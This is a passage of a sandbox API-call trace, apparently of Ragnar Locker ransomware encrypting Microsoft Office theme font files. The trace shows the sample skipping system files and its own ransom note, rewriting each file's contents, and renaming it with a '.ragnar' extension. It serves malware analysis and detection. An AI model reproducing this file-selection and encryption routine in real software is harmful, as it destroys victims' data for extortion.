1 [0094.465] VirtualAlloc (lpAddress=0x0, dwSize=0xeff, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.465] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.465] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.465] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeff, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeff, lpOverlapped=0x0) returned 1 [0094.465] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.465] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeff, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.465] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeff, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeff, lpOverlapped=0x0) returned 1 [0094.465] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeff, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.465] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.466] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xeff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.466] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.466] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.466] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.466] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.466] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.466] GetProcessHeap () returned 0x580000 [0094.466] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.466] CloseHandle (hObject=0x10c) returned 1 [0094.466] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" [0094.466] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.ragnar_FD7BD9FC" [0094.466] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.467] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0094.467] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.467] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Trek.xml" | out: lpString1="Trek.xml") returned="Trek.xml" [0094.467] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml") returned=".xml" [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="autorun.inf") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="boot.ini") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="bootfont.bin") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="bootsect.bak") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgr") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgr.efi") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgfw.efi") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="desktop.ini") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="iconcache.db") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="ntldr") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.dat") returned 1 [0094.467] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.dat.log") returned 1 [0094.468] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.ini") returned 1 [0094.468] lstrcmpiW (lpString1="Trek.xml", lpString2="thumbs.db") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.468] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml")) returned 0x20 [0094.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.468] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3616) returned 1 [0094.468] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.468] GetProcessHeap () returned 0x580000 [0094.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.468] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.470] VirtualAlloc (lpAddress=0x0, dwSize=0xe20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.471] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe20, lpOverlapped=0x0) returned 1 [0094.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.471] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe20, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.471] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe20, lpOverlapped=0x0) returned 1 [0094.471] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.471] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.471] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.471] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.471] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.472] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.472] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.472] GetProcessHeap () returned 0x580000 [0094.472] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.472] CloseHandle (hObject=0x10c) returned 1 [0094.472] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" [0094.472] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.ragnar_FD7BD9FC" [0094.472] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.473] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0094.473] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.473] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Urban.xml" | out: lpString1="Urban.xml") returned="Urban.xml" [0094.473] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml") returned=".xml" [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="autorun.inf") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="boot.ini") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="bootfont.bin") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="bootsect.bak") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgr") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgr.efi") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgfw.efi") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="desktop.ini") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="iconcache.db") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="ntldr") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.dat") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.dat.log") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.ini") returned 1 [0094.473] lstrcmpiW (lpString1="Urban.xml", lpString2="thumbs.db") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.473] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml")) returned 0x20 [0094.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.474] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3609) returned 1 [0094.474] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.474] GetProcessHeap () returned 0x580000 [0094.474] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.474] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.476] VirtualAlloc (lpAddress=0x0, dwSize=0xe19, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.476] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe19, lpOverlapped=0x0) returned 1 [0094.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.476] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe19, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.476] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe19, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe19, lpOverlapped=0x0) returned 1 [0094.476] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe19, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.476] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.477] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.477] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.477] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.477] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.477] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.477] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.477] GetProcessHeap () returned 0x580000 [0094.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.477] CloseHandle (hObject=0x10c) returned 1 [0094.477] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" [0094.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.ragnar_FD7BD9FC" [0094.477] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.478] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0094.478] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.478] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Verve.xml" | out: lpString1="Verve.xml") returned="Verve.xml" [0094.478] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml") returned=".xml" [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="autorun.inf") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="boot.ini") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="bootfont.bin") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="bootsect.bak") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgr") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgr.efi") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="bootmgfw.efi") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="desktop.ini") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="iconcache.db") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="ntldr") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.dat") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.dat.log") returned 1 [0094.478] lstrcmpiW (lpString1="Verve.xml", lpString2="ntuser.ini") returned 1 [0094.479] lstrcmpiW (lpString1="Verve.xml", lpString2="thumbs.db") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.479] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml")) returned 0x20 [0094.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.479] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3604) returned 1 [0094.479] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.479] GetProcessHeap () returned 0x580000 [0094.479] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.480] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.481] VirtualAlloc (lpAddress=0x0, dwSize=0xe14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.481] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.481] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.481] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe14, lpOverlapped=0x0) returned 1 [0094.481] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.481] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe14, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.481] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: 